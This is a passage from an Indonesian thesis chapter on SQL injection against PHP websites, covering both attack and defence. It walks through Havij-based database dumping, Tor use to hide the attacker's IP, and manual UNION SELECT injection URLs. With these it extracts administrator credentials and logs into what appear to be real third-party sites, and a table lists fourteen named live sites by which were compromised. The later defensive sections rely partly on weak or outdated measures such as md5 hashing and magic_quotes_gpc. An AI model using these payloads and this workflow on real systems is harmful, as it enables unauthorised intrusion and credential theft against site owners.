BAB 4 IMPLEMENTAS I DAN EVALUAS I
4.1
Prosedur Operasional Sub bab operasional merupakan sebuah bagian dari prosedur dalam menjalankan
implementasi serangan SQL Injection, dengan menggunakan sebuah tools yang dipergunakan untuk membantu melakukan serangan SQL Injection pada beberapa web target yang berbasis platform PHP.
4.1.1
Instalasi Havij Havij Pro 1.15 Portable, digunakan untuk SQL Injection, proses
instalasinya sebagai berikut : 1. Buka folder Havij, kemudian pilih Havij.exe
Gambar 4.1 Folder Havij
2. Setelah di klik maka akan muncul jendela berikut ini. Kemudian pilih register.
40
41
Gambar 4.2 Registrasi Havij I
3. Setelah itu tulis nama registrasi pada bagian “Name”
Gambar 4.3 Registrasi Havij II
42
4. Kemudian pada file, klik browse folder dan pilih file Havijkey.lc yang berada pada folder yang sama dari Havij.exe
Gambar 4.4 Folder HavijKey
5. Setelah itu klik register
Gambar 4.5 Registrasi Havij
43
6. Kemudian akan muncul pop-up yang menyatakan bahwa registrasi telah sukses dilakukan.
Gambar 4.6 Hasil Registrasi Havij
4.1.2 Instalasi TOR TOR merupakan software yang menggunakan konsep Onion Routing, namun ia hanya mendukung browser Firefox karena menggunakan add-ons. Dan software ini berjalan pada platform Windows, baik Windows XP maupun Windows Seven. 1. Jalankan installer Vidalia, dalam contoh ini menggunakan vidalia-bundle-0.2.2.4-0.2.15
Gambar 4.7 Vidalia.exe
44
2. Pilih English sebagai selected language, kemudian klik Ok
Gambar 4.8 Option Language Vidalia
3. Klik Next
Gambar 4.9 Vidalia Setup
45
4. Pilihan akan di select all secara otomatis, kemudian klik Next
Gambar 4.10 Vidalia Setup Components
5. Kemudian pilih lokasi driver untuk instalasi, lalu klik Install
Gambar 4.11 Destination Folder Vidalia
46
6. Klik Next
Gambar 4.12 Instalasi Vidalia
7. Proses instalasi telah selesai dilakukan, klik Finish
Gambar 4.13 Instalasi Vidalia Selesai
47
8. Pada Firefox akan muncul jendela untuk install add-ons Torbutton. Pilih Install now. Torbutton berguna untuk mengaktifkan TOR pada browser.
Gambar 4.14 Instalasi Tor dalam Add-ons
9. Add-ons Torbutton telah selesai di install
Gambar 4.15 Instalasi Tor
48
10. Saat Torbutton telah di install, maka perlu dilakukan restart pada Firefox agar Torbutton dapat berfungsi.
Gambar 4.16 Restart Firefox
11. Akan muncul pop-up dari Vidalia Control Panel yang berguna sebagai pengaturan untuk start dan stop TOR. Pada gambar ini sedang dilakukan konfigurasi ke jaringan TOR.
Gambar 4.17 Konfigurasi Jaringan TOR
49
12. Koneksi ke jaringan TOR telah selesai dilakukan, maka TOR sudah
dapat
digunakan
untuk
mengubah
IP
dengan
mengunakan browser.
Gambar 4.18 Tor yang Terhubung
13. Ke jendela Firefox lalu klik kanan pada tulisan Tor Enabled yang berwarna merah, kemudian pilih Toggle TOR status untuk mengaktifkan TOR di browser.
Gambar 4.19 Status TOR
50
14. Setelah klik Toggle TOR status maka TOR Disabled yang berwarna merah akan berubah menjadi TOR Enabled yang berwarna hijau. Jika sudah sampai tahap ini maka TOR sudah bisa digunakan untuk mereverse IP.
Gambar 4.20 TOR Dalam Firefox
15. IP
bisa
diperiksa
dengan
mengunjungi
situs
yang
menyediakan pemeriksaan IP. Pada contoh ini menggunakan www.whatismyipaddress.com yang menyatakan bahwa IP yang digunakan berasal dari Budapest, Hungaria. IP lokal telah berhasil disembunyikan.
Gambar 4.21 Web Whatismyipaddress
51
Namun TOR hanya bisa berfungsi pada web aplikasi. Jika melakukan serangan yang melibatkan jaringan langsung tanpa perantara web application, maka IP lokal akan terdeteksi. Dan TOR hanya bisa digunakan pada browser Firefox.
4.2
Implementasi Pencarian Halaman Vulnerable Sub bab implementasi serangan adalah bagian yang menunjukkan langkah –
langkah melakukan serangan SQL Injection pada sebuah web vulnerable dengan menggunakan tools Havij maupun dengan cara melakukan serangan SQL Injection melalui inputan URL pada web target.
4.2.1
Penyerangan SQL Injection pada PHP Pada contoh implementasi serangan SQL Injection, menggunakan tools
Havij 1.15. Untuk menggunakan tools ini sebelumnya perlu mencari web target yang vulnerable serta pada URL web target terdapat karakter ‘=’ contoh : http://www.target.com/index.php?id=123. Berikut ini adalah langkah – langkah dalam melakukan serangan SQL Injection, sehingga akan didapatkan database serta hak akses sebagai administrator pada sebuah web tertentu. Langkah – langkah serangan SQL Injection pada web pertama, sebagai berikut : 1. Buka halaman web target pada browser.
52
Gambar 4.22 Web target 1
2. Cari halaman web target yang terdapat karakter ‘=’.
Gambar 4.23 Pencarian Halaman Vulnerable
53
3. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya.
Gambar 4.24 URL dalam Havij
4. Klik button Analyze
untuk memulai proses analisis terhadap
web target.
Gambar 4.25 Havij M enganalisa Web Target
54
5. Nama database dari web target telah didapatkan, kemudian klik Tab Tables
Gambar 4.26 Database Hasil Havij
6. Setelah itu tabel-tabel yang terdapat pada nama database tersebut akan di ekstrak. Kemudian klik Tab Get Tables
Gambar 4.27 Tabel Hasil Havij
55
7. Pilih nama tabel yang ingin ekstrak. Pada kasus ini pilih untuk mengekstrak tabel administrator. Kemudian klik Tab Get Columns
Gambar 4.28 Pemilihan M enganalisa Kolom pada Suatu Tabel
8. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih isi dari field username dan passwd. Kemudian klik Tab Get Data
Gambar 4.29 Hasil Kolom Tabel Havij
56
9. Username dan password administrator pada contoh web pertama telah berhasil didapatkan.
Gambar 4.30 Data dari Database Target
10. Klik Tab Find Admin
untuk mendapatkan halaman login
administrator.
Gambar 4.31 Hasil Halaman Administrator Target
57
11. Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser.
Gambar 4.32 Halaman Administrator Target 1
12. Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya.
Gambar 4.33 Login Sebagai Administrator Pada Web Target 1
58
13. Login sebagai administrator berhasil, maka implementasi serangan SQL Injection telah berhasil dilakukan.
Gambar 4.34 Halaman Web Sebagai Administrator
Langkah – langkah serangan SQL Injection pada web kedua, sebagai berikut : 1. Buka halaman web target pada browser. Kemudian cari halaman web target yang terdapat karakter ‘=’.
Gambar 4.35 Web Target 2
59
2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze
untuk memulai
proses analisis terhadap web target.
Gambar 4.36 Hasil Analisis Havij
3. Nama database dari web target telah didapatkan, kemudian klik Tab Tables
. Setelah itu tabel-tabel yang terdapat pada nama
database tersebut akan di ekstrak. Kemudian klik Tab Get Tables
Gambar 4.37 Hasil Database dan Tabel Havij
60
4. Pilih nama tabel yang ingin diekstrak. Pada kasus ini pilih untuk mengekstrak table administrator. Kemudian klik Tab Get Columns
Gambar 4.38 Kolom Hasil Havij
5. Pilih field yang ingin diperoleh datanya. Pada kasus ini pilih untuk mendapatkan isi dari field id, nama dan password. Kemudian klik Tab Get Data
. Username dan password administrator pada
contoh web kedua telah berhasil didapatkan.
Gambar 4.39 Data Hasil Havij
61
6. Klik Tab Find Admin
untuk mendapatkan halaman login
administrator.
Gambar 4.40 Halaman Administrator Hasil Havij
7. Buka link URL administrator yang telah didapatkan dari hasil pada langkah sebelumnya di browser.
Gambar 4.41 Web Halaman Administrator Target 2
62
8. Lakukan login menggunakan account administrator yang telah didapatkan sebelumnya.
Gambar 4.42 Login Sebagai Administrator pada Web Target 2
9. Login sebagai administrator berhasil, maka implementasi serangan SQL Injection telah berhasil dilakukan.
Gambar 4.43 Halaman Sebagai Administrator Pada Web Target 2
63
Langkah – langkah serangan SQL Injection pada web ketiga, sebagai berikut : 1. Buka halaman web target pada browser.
Gambar 4.44 Halaman Web Target 3
2. Buka tools Havij 1.15 yang telah terinstall pada komputer. Lalu masukan URL web target yang sudah didapatkan pada langkah sebelumnya. Kemudian klik button Analyze
untuk memulai
proses analisis terhadap web target.
Gambar 4.45 Havij Gagal M elakukan SQL Injection
64
Pada web ketiga gagal untuk dilakukan serangan SQL Injection menggunakan Havij. Langkah-langkah SQL Injection pada URL Target : http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1
Gambar 4.46 Halaman Web Target SQL Injection Pada URL 1. Cek bug pada suatu web dengan menambahkan single quote ( ' ) dibelakang
URL,
jika
muncul
pesan
error
“Warning:
mysql_fetch_array(): supplied argument is not a valid MySQL result resource
in/home/a9598479/public_html/produk.tampilan.php on
line 95” maka dapat dikatakan bahwa web target memiliki celah keamanan dan dapat di serang dengan SQL Injection.
Gambar 4.47 Cek Vulnerable Web
65
2. Untuk mencari kolom gunakan perintah [order by]. order by 1— dimulai dengan angka 1, selanjutnya 2, dan seterusnya sampai muncul pesan error pada web target, error muncul pada angka 9. “Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource
in/home/a9598479/public_html/produk.tampilan.php on
line 95” http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1 order by 9— jadi angka yang diambil adalah 9-1 = 8 (jumlah kolom adalah 8).
Gambar 4.48 Cek Jumlah Kolom I
Gambar 4.49 Cek Jumlah Kolom II
66
Gambar 4.50 Cek Jumlah Kolom III 3. Selanjutnya akan dicari angka urutan tabel yang paling mudah diserang dimana bisa dilakukan injeksi dengan perintah [union all select]. Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter id=1 menjadi id=-1 http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 select 1,2,3,4,5,6,7,8-akan muncul angka : 2
Gambar 4.51 Cek Tabel Vulnerable
union
all
67
4. Selanjutnya cari versi Database MySql-nya dengan perintah "version()" pada angka 2. http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1
union
all
select 1,version(),3,4,5,6,7,8-muncul tulisan : 5.1.57 yang berarti web target menggunakan M ySql versi 5.1.57.
Gambar 4.52 Cek Versi MySQL 5.
Selanjutnya
akan
dicari
tabelnya
dengan
perintah
"group_concat(table_name)" pada angka yang telah didapatkan pada langkah
ketiga
dan
"from
information_schema.tables
where
table_schema=database()--" dibelakang angka 8 http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 select
1,group_concat(table_name),3,4,5,6,7,8
union
all from
information_schema.tables where table_schema=database()-muncul nama – nama tabel : admin, event, kategori, orders, orders_item, produk, status, user.
Gambar 4.53 Cek Nama Tabel
68
6. Selanjutnya cari kolom dari tabel yang ada hubungannya dengan user dan password, kali ini ambil tabel "admin" tetapi sebelumnya konversi ke hexa agar dapat dibaca pada ASCII text ketik admin lalu klik ASCII to Hex, hasilnya di kolom Hex Value : 61:64:6d:69:6e. Hilangkan tanda titik dua ( : ) sehingga menjadi 61646d696e. Perintah selanjutnya adalah "group_concat(column_name)" pada angka 2 yang
didapat
pada
langkah
ketiga
dan
"from
information_schema.columns wheretable_name=0xHexa--" di akhir URL yaitu 61646d696e tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah dikonversi ke hexa. http://puzzle-spot.co.cc/produk.tampilan.php?produkid=-1 select
union
1,group_concat(column_name),3,4,5,6,7,8
information_schema.columns where table_name=0x61646d696e-muncul kolom : id, nama, password.
Gambar 4.54 Web Convert ASCII ke Dalam Hexa
Gambar 4.55 Cek Spesifik Tabel
all from
69
7. Untuk melihat isi dari kedua kolom tersebut gunakan perintah "group_concat(column1,0x3a,column2)"
pada
angka
yang
telah
dilakukan saat langkah ketiga dan from NAMATABLE—pada akhir URL ganti column1 dengan "nama" dan column2 dengan "password". 0x3a adalah tanda titik dua( : ) yang telah dikonversi ke hexa. NAM A TABLE diganti dengan "admin" untuk mengambil informasi dari table yang bernama "admin" http://puzzle-spot.co.cc/produk.tampilan.php?produkid=1unionallselect1,group_concat(nama,0x3a,password),3,4,5,6,7,8fromadm inistrator-hasilnya akan muncul: admin:admin, yang berarti, username : admin password : admin sekarang tinggal login ke web target.
Gambar 4.56 Data dari SQL Injection 4.3
Implementasi Konfigurasi Pencegahan SQL Injection pada PHP Implementasi konfigurasi merupakan sub bab yang memaparkan langkah –
langkah konfigurasi yang harus dilakukan untuk melakukan pencegahan terhadap
70
serangan SQL Injection dari berbagai macam celah yang mungkin saja terdapat pada sebuah web yang vulnerable. Implementasi konfigurasi pencegahan serangan SQL Injection dibahas pada 3 macam implementasi yaitu implementasi pada code PHP dan penyimpanan file, implementasi pada web server lokal dan implementasi pada web server melalui jasa web hosting.
4.3.1
Implementasi pada Code PHP dan Penyimpanan File Pada contoh coding seperti ini :
Gambar 4.57 Code PHP Vulnerable
Dapat
menimbulkan
permasalahan
keamanan
pada
input
username dan password, yang memungkinkan untuk di injeksi dengan suatu string yang biasa digunakan pada SQL Injection, yaitu ‘ OR ‘’=’ pada field username dan password yang kemudian akan dianggap true, karena
pada
$query=”SELECT
‘username’=’$username’
AND
*
FROM
user
‘password=’$password’”;
WHERE posisi
71
‘username’=’$username’ akan digantikan oleh ‘username’=’’ OR ‘ ’=’‘seperti pada kasus berikut:
Gambar 4.58 User Interface Web Test
Field pada username dan password diisi dengan ‘ OR ‘’=’ setelah itu klik submit.
Gambar 4.59 Login Sukses dengan SQL Injection
Berhasil melakukan login hanya dengan menggunakan ‘ OR ‘’=’ 1. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection menggunakan syntax mysql_real_escape_string() :
72
Gambar 4.60 Syntax mysql_real _escape_string Saat
code
telah
ditambahkan
syntax
mysql_real_escape_string(); seperti pada baris ke 11 yang berguna untuk melewatkan karakter spesial dari input pada field username dan password, maka ‘ OR ’’=’ akan dianggap false seperti berikut :
Gambar 4.61 User Interface Setelah Syntax mysql_real_escape_string Untuk
lebih
jelasnya,
cara
keja
mysql_real_escape_string(); adalah
yang
dilakukan
oleh
73
Gambar 4.62 User Interface Logika Syntax mysql_real_escape_string 2. Langkah – langkah konfigurasi untuk pencegahan terhadap celah SQL Injection pada perubahan Return Value : Pada contoh coding berikut :
Gambar 4.63 Kelemahan Coding PHP Return Value Di
baris
ke
15,
mysql_num_rows($quesy_run)>=1
terdapat kelemahan, yaitu >=1 karena tidak membatasi jumlah return value baris yang bisa diterima. Pada database terdapat > 1 baris.
74
Gambar 4.64 User Interface phpMyAdmin Untuk meningkatkan keamanan dari celah ini, maka perlu dilakukan pembatasan dalam jumlah return value agar yang diterima hanyalah data yang sesuai dengan database. Jika data tidak tercantum pada database, maka login tidak akan berhasil. Hal ini dilakukan dengan mengganti return value menjadi ==1.
Gambar 4.65 Solusi Coding Kelemahan PHP Return Value
75
Saat return value diubah menjadi ==1 seperti pada baris ke 15, yang membatasi return value hanya pada satu baris, maka yang terjadi pada saat memasukkan input ‘ OR ‘’=’ adalah :
Gambar 4.66 User Interface Setelah Solusi Coding PHP Login tersebut gagal karena OR tidak terdapat dalam database. Jika dimasukkan input yang benar dan sesuai dengan salah satu dari kolom yang ada didalam database, maka input akan diterima.
Gambar 4.67 User Interface Login Success 3. Langkah – langkah untuk menghindari Find Admin pada Havij : Havij dapat melakukan pencarian terhadap halaman administrator
dengan
kemungkinan
–
melakukan
kemungkinan
pemeriksaan
penamaan
pada
terhadap halaman
administrator yang biasa digunakan oleh web. Oleh karena itu, untuk melindungi halaman administrator agar tidak berhasil ditemukan oleh penyerang, maka halaman dapat dilindungi dengan cara :
76
M enghindari penamaan yang umum digunakan seperti xxxx.com/admin.php;
xxxx.com/cpanel;
xxxx.com/admin/admin.php dan lain sebagainya. Halaman login administrator dapat diletakkan ke dalam
folder dengan nama
yang lebih tidak umum, atau dengan menggunakan folder didalam folder yang juga menggunakan nama yang tidak umum, seperti berikut ini :
Gambar 4.68 Havij Find Admin Havij gagal mendapatkan halaman administrator, karena halaman
administrator
berada
pada
folder
pages/administrasi/login.php yang ditampilkan sebagai berikut :
77
Gambar 4.69 Halaman Login Administrator Target Setelah Dikonfigurasi Dengan tingkat kerumitan penamaan yang hanya diketahui oleh pemilik web atau orang yang bersangkutan, maka pencarian halaman login administrator akan sulit untuk dilakukan, sehingga dapat
mencegah
penyusup
untuk
memasuki
halaman
administrator walaupun ia telah memiliki username dan password administrator. 4. Cara mengantisipasi password leak dengan
menggunakan
preg_match() dan enkripsi md5(). Dalam melakukan pencegahan terhadap serangan SQL Injection dan sebagai langkah antisipasi apabila penyerang berhasil menemukan isi database, maka melakukan enkripsi password merupakan langkah yang sangat penting dan hal yang paling mendasar, sehingga data yang diperoleh tidak dapat digunakan untuk mengakses halaman administrator maupun user dari suatu web. Penggunaan password pun harus gabungan dari huruf, angka,
maupun spesial karakter agar
menyulitkan
penyerang jika hendak melakukan proses dekripsi password. Untuk password yang umum digunakan, proses dekripsi sangat mudah dilakukan karena kamus dari hasil enkripsi kata tertentu sudah banyak beredar secara online. Berikut contoh penggunaan
78
enkripsi password pada suatu web, dalam hal ini enkripsi yang digunakan adalah md5.
Gambar 4.70 User Interface Web yang Terenkripsi Pada gambar diatas, password yang harus digunakan terdiri dari huruf kecil, huruf kapital, angka dan special karakter, dimana
code
validasi
password
menggunakan
fungsi
preg_match(); untuk menentukan pola tersebut adalah seperti berikut :
Gambar 4.71 Coding Enkripsi PHP
79
Gambar 4.72 Coding Enkripsi PHP Lanjutan Sehingga, pada saat code dieksekusi, data yang tersimpan pada database menjadi seperti berikut : Gambar 4.73 Tampilan Password Enkripsi pada Database Password yang berisi “md5M D5!!” dienkripsi menjadi “dd1395672066fdd8a1c860f4464c2b30”,
jika
diuji
dengan
melakukan dekripsi melalui Havij yang memanfaatkan bermacam – macam decryptor online, maka hasilnya seperti berikut :
80
Gambar 4.74 Havij Decryptor
Dan apabila dilakukan pencarian melalui search engine, maka hasilnya seperti berikut :
Gambar 4.75 Search Engine dengan Google
81
Hal ini sangat berbeda jika menggunakan password yang umum digunakan, seperti “administrator123!” yang enkripsi md5nya
adalah
“10c4981bb793e1698a83aea43030a388”.
Walaupun terkesan password tersebut kuat karena terdiri dari kombinasi huruf, angka dan spesial karakter, namun dekripsi untuk plain textnya sangat mudah ditemukan. Seperti yang ditemukan oleh Havij pada gambar berikut :
Gambar 4.76 Contoh Password yang Terlihat Strong Oleh karena itu, menggunakan password yang terlihat kuat saja tidak cukup, tetapi harus menggunakan kombinasi yang sangat unik dan bervariasi agar password menjadi lebih kuat. Terutama password bagi administrator, karena username dan password administrator paling sering menjadi target dari penyerang.
82
4.3.2
Implementasi pada Web Server Sub bab implementasi pada web server membahas mengenai konfigurasi
apa saja yang mungkin diterapkan di pemilik web jika menggunakan server lokal milik sendiri atau pun menggunakan server yang telah disediakan oleh jasa web hosting.
4.3.2.1 Server Lokal Field pada username dan password diisi dengan ‘ OR ‘’=’ setelah itu klik submit.
Gambar 4.77 Login Sukses dengan SQL Injection
Berhasil melakukan login hanya dengan menggunakan ‘ OR ‘’=’ 1. Langkah terhadap
–
langkah
konfigurasi untuk
pencegahan
celah SQL Injection menggunakan syntax
magic_quotes_gpc pada file php.ini : •
M enggunakan sistem operasi Linux 1) Buka aplikasi terminal ataupun console pada Linux.
83
Gambar 4.78 Letak Terminal Pada Linux
2) Login sebagai root dengan cara ketik perintah su dan masukkan password root yang digunakan atau jika tidak
dapat
login sebagai root,
harus
menambah perintah “sudo” pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.
Gambar 4.79 Login Terminal Linux
3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini
Gambar 4.80 Perintah M embuka File php.ini Pada Linux
84
4) M engaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.81 Tampilan PHP.ini magic_quotes_gpc Pada Linux
•
M enggunakan sistem operasi Windows 1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini
Gambar 4.82 Command Prompt Windows
85
2) M engaktifkan on pada syntax magic_quotes_gpc, lalu tekan Ctrl+S atau klik File >> Save, untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.83 Tampilan php.ini magic_quotes_gpc Pada Windows
Setelah syntax magic_quotes_gpc = On, maka pada saat dilakukan input ‘ OR ‘’=’ maka string akan diterima seperti berikut :
Gambar 4.84 User Interface Setelah Konfigurasi M agic Quotes
86
2. Langkah terhadap
–
langkah
konfigurasi untuk
pencegahan
celah SQL Injection menggunakan syntax
display_errors pada file php.ini : •
M enggunakan sistem operasi Linux 1) Buka aplikasi terminal ataupun console pada Linux.
Gambar 4.85 Letak Terminal Linux
2) Login sebagai root dengan cara ketik perintah su dan masukkan password root yang digunakan atau jika tidak
dapat
login sebagai root,
harus
menambah perintah sudo pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.
Gambar 4.86 Login Terminal Linux
87
3) Buka file php.ini dengan cara mengetikan perintah pico /etc/php5/apache2/php.ini
Gambar 4.87 Perintah M embuka File php.ini Pada Linux
4) M engaktifkan off pada syntax display_errors, lalu tekan Ctrl+X, Y kemudian enter untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.88 Tampilan PHP.ini display_errors Pada Linux •
M enggunakan sistem operasi Windows 1) Buka file php.ini yang berada pada directory C:\xampp\php\php.ini
88
Gambar 4.89 Command Prompt Windows 2) M engaktifkan off pada syntax display_errors, lalu tekan Ctrl+S, untuk menyimpan hasil perubahan pada file php.ini
Gambar 4.90 Tampilan php.ini display_errors pada Windows
89
Setelah syntax display_errors = Off, maka pada saat dilakukan input ‘ maka halaman web tidak akan memunculkan pesan error seperti berikut :
Gambar 4.91 Halaman Web Vulnerable 3. Langkah – Langkah konfigurasi untuk pencegahan terhadap celah SQL Injection dengan melakukan instalasi M od Security : •
M enggunakan sistem operasi Linux 1) Buka aplikasi terminal ataupun console pada Linux.
Gambar 4.92 Letak Terminal Linux
90
2) Login sebagai root dengan cara ketik perintah su dan masukkan password root yang digunakan atau jika tidak
dapat
login sebagai root,
harus
menambah perintah sudo pada setiap awal baris dari perintah – perintah selanjutnya yang akan dilakukan.
Gambar 4.93 Login Terminal Linux
3) Ketik perintah apt-get install subversion untuk memulai instalasi mod security. Namun harus terkoneksi
dengan
jaringan
internet
untuk
melakukan perintah tersebut.
Gambar 4.94 Perintah Install Subversion Pada Linux
4) Lalu
ketik
perintah
svn
co https://mod-
security.svn.sourceforge.net/svnroot/modsecurity/m2/trunk modsecurity.
Namun
harus
terkoneksi
internet
untuk
dengan
jaringan
melakukan perintah tersebut.
Gambar 4.95 Perintah Download mod_security Pada Linux
91
5) Kemudian ketik perintah apt-get install libapachemod-security. Namun harus terkoneksi dengan jaringan
internet
untuk
melakukan
perintah
tersebut.
Gambar 4.96 Install libapache-mod-security Pada Linux
4.3.2.2 Server Jasa Web Hosting 1. Langkah terhadap
–
langkah
konfigurasi untuk
pencegahan
celah SQL Injection menggunakan syntax
magic_quotes_gpc pada file .htaccess :
Gambar 4.97 Konfigurasi htaccess magic_quotes_gpc Pada Hosting
2. Langkah – langkah untuk pencegahan terhadap celah SQL Injection menggunakan syntax display_errors pada file .htaccess :
92
Gambar 4.98 Konfigurasi htaccess display_errors Pada Hosting
4.4
Evaluasi 4.4.1 Evaluasi Hasil Serangan SQL Injection Dari hasil evaluasi yang sudah didapatkan ada berberapa jenis celah terhadap serangan SQL Injection yang mungkin dilakukan pada sebuah web yang berbasis PHP. Berikut ini adalah daftar tabel web yang telah dilakukan uji coba serangan SQL Injection dengan menggunakan Havij.
Tabel 4.1 Web yang Diserang dengan Havij No URL 1
2
3
SQLi
http://www.oz √ onegaming.co m/product.php ?id=12 http://spyderc √ o.com/catalog/ details.php?pr oduct=77 http://www.se √ phiroth.it/file_ detail.php?id= 130
Database Tabel
Kolom Data
Enkripsi
√
√
√
√
×
Administrator /Halaman Administrator ×
√
√
√
√
×
×
√
√
√
×
√
×
93
4
5
6 7
8
9
10
11 12
13
http://www.ac psych.org/inde x.php?id=1 http://www.ol dvictheatre.co m/whatson.ph p?id=63 http://www.nu uo.com/produ ct.php?id=12 http://www.co ppercraft.com/ product.php?p roduct=12 http://www.lc oastpress.com/ journal.php?id =6 http://itsretha. com/_lookboo knewcollection. php?id=144 http://puzzlespot.co.cc/pro duk.tampilan. php?produkid =1 http://www.hp ol.org/transcri pt.php?id=72 http://www.ru mahoutlet.co m/index.php? main_page=pr oduct_info&c Path=2_26&p roducts_id=31 28&zenid=76 765bfde63b75 9a892f901de0 732437 http://www.gl odokshop.com /detail_katego
√
√
√
√
√
×
×
√
√
√
√
√
×
×
√
√
√
√
√
×
×
√
√
√
√
×
√
×
√
√
√
√
√
√
×
√
√
√
√
√
×
√
√
√
√
√
√
×
√
√
√
√
√
√
×
×
×
×
×
×
×
√
×
×
×
×
×
×
√
×
94
14
ri.php?kat1= MTI http://www.cit × ra.net.id/servic e_detail.php?i d=12
×
×
×
×
√
×
Keterangan tabel : √ SQLi Æ dapat dilakukan serangan SQL Injection pada web. × SQLi Æ tidak dapat dilakukan serangan SQL Injection pada web. √ Database Æ nama database pada web berhasil didapatkan. × Database Æ nama database pada web gagal didapatkan. √ Tabel Æ nama tabel pada web berhasil didapatkan. × Tabel Æ nama tabel pada web gagal didapatkan. √ Kolom Æ nama kolom pada web berhasil didapatkan. × Kolom Æ nama kolom pada web gagal didapatkan. √ Data Æ data pada web berhasil didapatkan. × Data Æ data pada web gagal didapatkan. √ Enkripsi Æ data password yang didapatkan terenkripsi. × Enkripsi Æ data password yang didapatkan tidak terenkripsi. √ Administrator/Halaman Administrator Æ URL halaman administrator berhasil didapatkan. × Administrator/Halaman Administrator Æ URL halaman administrator gagal didapatkan.
95
4.4.1.1 Keberhasilan Serangan Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 11 web yang berhasil dilakukan serangan SQL Injection. Namun dari beberapa keberhasilan serangan tersebut, dapat dikelompokkan menjadi beberapa hasil keberhasilan serangan. •
web pertama, web kedua, web keempat, web kelima, web keenam dan web kesebelas : SQL Injection dapat dilakukan, database, tabel, kolom dan data berhasil didapatkan. Selain itu data password tidak terenkripsi, tetapi halaman login administrator tidak didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Tetapi halaman login administrator tidak bisa didapatkan karena kemungkinan halaman login administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder – folder tertentu dan menggunakan kata – kata yang tidak umum.
•
web ketiga, dan web ketujuh : SQL Injection dapat dilakukan, database, tabel dan kolom berhasil didapatkan. Namun datanya kosong dan halaman login administrator tidak didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel dan kolom menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Sedangkan datanya tidak bisa didapatkan karena kemungkinan isi database pada tabel tersebut datanya tidak ada atau datanya sudah
96
terenkripsi sehingga tidak bisa terbaca oleh library Havij. Selain
itu halaman login administrator tidak bisa
didapatkan
karena
kemungkinan
halaman
login
administrator sudah disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder – folder tertentu dan menggunakan kata – kata yang tidak umum. •
web kedelapan : SQL Injection dapat dilakukan, database, tabel, kolom dan data berhasil didapatkan. Tetapi data password yang didapatkan
sudah
terenkripsi
dan
halaman
login
administrator tidak bisa didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom dan data menggunakan kata – kata yang sudah umum dan terdapat pada library Havij. Tetapi data password yang terdapat pada halaman web tersebut sudah dienkripsi menggunakan algoritma tertentu. Sedangkan halaman login administrator tidak bisa didapatkan karena kemungkinan
halaman
login
administrator
sudah
disembunyikan oleh pemilik web, menggunakan kata – kata yang tidak umum digunakan sebagai nama file halaman login administrator, atau halaman administrator dimasukkan ke dalam folder – folder tertentu dan menggunakan kata – kata yang tidak umum. •
web kesembilan dan web kesepuluh : SQL Injection dapat dilakukan, database, tabel, kolom, data dan halaman login administrator berhasil didapatkan. Pada hasil seperti ini dapat disimpulkan bahwa pada penamaan database, tabel, kolom, data dan penamaan file
97
pada halaman login administrator menggunakan kata – kata yang sudah umum dan terdapat pada library Havij.
4.4.1.2 Kegagalan Serangan Pada berbagai web yang telah dilampirkan pada tabel diatas, terdapat 3 web yang gagal dilakukan serangan SQL Injection. Hasil evaluasi kegagalan serangan SQL Injection terdapat pada contoh web keduabelas, web ketigabelas dan web keempatbelas yang memiliki tipe kegagalan karena kemungkinan pada penamaan database, tabel, kolom, data dan halaman login administrator tidak menggunakan kata – kata yang umum dan tidak terdapat pada library Havij, atau URL pada web target tidak vulnerable karena setelah karakter = bukan angka yang langsung mengarah ke database web target tersebut.
4.4.2
Evaluasi Hasil Konfigurasi Pencegahan SQL Injection pada PHP Setelah dilakukan konfigurasi terhadap celah SQL Injection, seperti
implementasi pada code PHP dan penyimpanan file, serta implementasi konfigurasi pada server lokal maupun pada server web hosting. Evaluasi hasil implementasi code PHP dan penyimpanan file: •
Syntax mysql_real_escape_string() Dengan menggunakan syntax mysql_real_escape_string() pada code PHP, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “ ‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada database tidak akan bernilai true.
•
Return value Penggunaan return value seperti mysql_num_rows($query_run)==1 hanya akan menerima input sesuai dengan data yang terdapat pada
98
database. Ia akan menolak setiap input yang tidak terdapat pada database, maka jika dilakukan percobaan dengan ‘ OR ‘’=’ database akan menganggap perintah tersebut invalid. •
Penyimpanan halaman administrator Find admin bisa dilakukan dengan menggunakan tools dan menduga letak halaman administrator pada web, karena posisi penyimpanan halaman
tersebut
sangat
www.example.com/admin.php.
umum
digunakan,
misalnya
Dengan
menyimpan
halaman
